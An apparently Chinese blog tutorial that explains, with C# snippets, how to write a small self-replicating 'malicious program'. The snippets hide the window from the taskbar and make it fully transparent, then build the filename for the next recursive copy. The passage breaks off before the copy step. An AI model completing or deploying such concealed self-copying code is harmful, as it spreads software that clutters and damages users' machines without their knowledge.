最近朋友的電腦中了病毒,讓我跑了三次,費了九牛二虎之力,幾種殺毒軟件還是沒有能把病毒全清除掉,最後沒有辦法,只能把資料復制出來,把硬盤重新分區了再裝系統,裝上了可以免費使用的AntiVir,於是乎世界終於清靜。
不僅因為Windows系統的脆弱,而且因為病毒無休止的自我復制和滿硬盤的藏匿,使得我們脆弱的神經不堪重負,面對千瘡百孔,有著莫名其妙而又千奇百怪的名字文件夾和文件的系統,相信大多數人都會選擇重裝系統。病毒和流氓軟件總是讓人氣憤!那麼,計算機程序怎麼實現自我復制呢?其實這非常的簡單。下面我將用C#簡單的實現一個能夠自我復制的小小的惡意程序。
程序要實現下面幾個功能。
第一,運行時不出現運行界面,當然,在任務管理器裡,還是可以看到進程的,道行再深的病毒也不可能無跡可尋。
第二,程序在運行目錄下自我復制n份。
第三,采用遞歸復制的方法,即第一個程序生成第二個程序,第二個程序生成第三個程序,以此類推。
源代碼很簡單,下面來分析一下:
35 // 不在任務欄顯示
36 this.ShowInTaskbar = false;
37 // 窗體透明
38 this.Opacity = 0;
System.Windows.Forms.Form類封裝了一般的Windows窗口程序大部分特性,極大的簡化窗口界面的設計過程,上面這兩個屬性用於隱藏我們的程序的運行狀態,第一個ShowInTaskbar屬性,設置為否時,程序就不會在狀態欄上面顯示。第二個Opacity屬性,表示窗口的不透明度,取值在0到100之間。0%的不透明度也就是100%透明了。這樣,在程序運行時,你就看不見窗體了。
44 // 默認復制次數
45 const int TOTAL = 100;
46 int _count = TOTAL;
47 // 正在運行的程序路徑和文件名
48 string _file = Application.ExecutablePath;
49 // 正在運行的程序路徑
50 string _path = Application.StartupPath;
51 // 正在運行的程序文件名
52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
53 try
54 {
55 _count = int.Parse(_name.Replace(".exe", string.Empty));
56 _count--;
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目標文件
65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));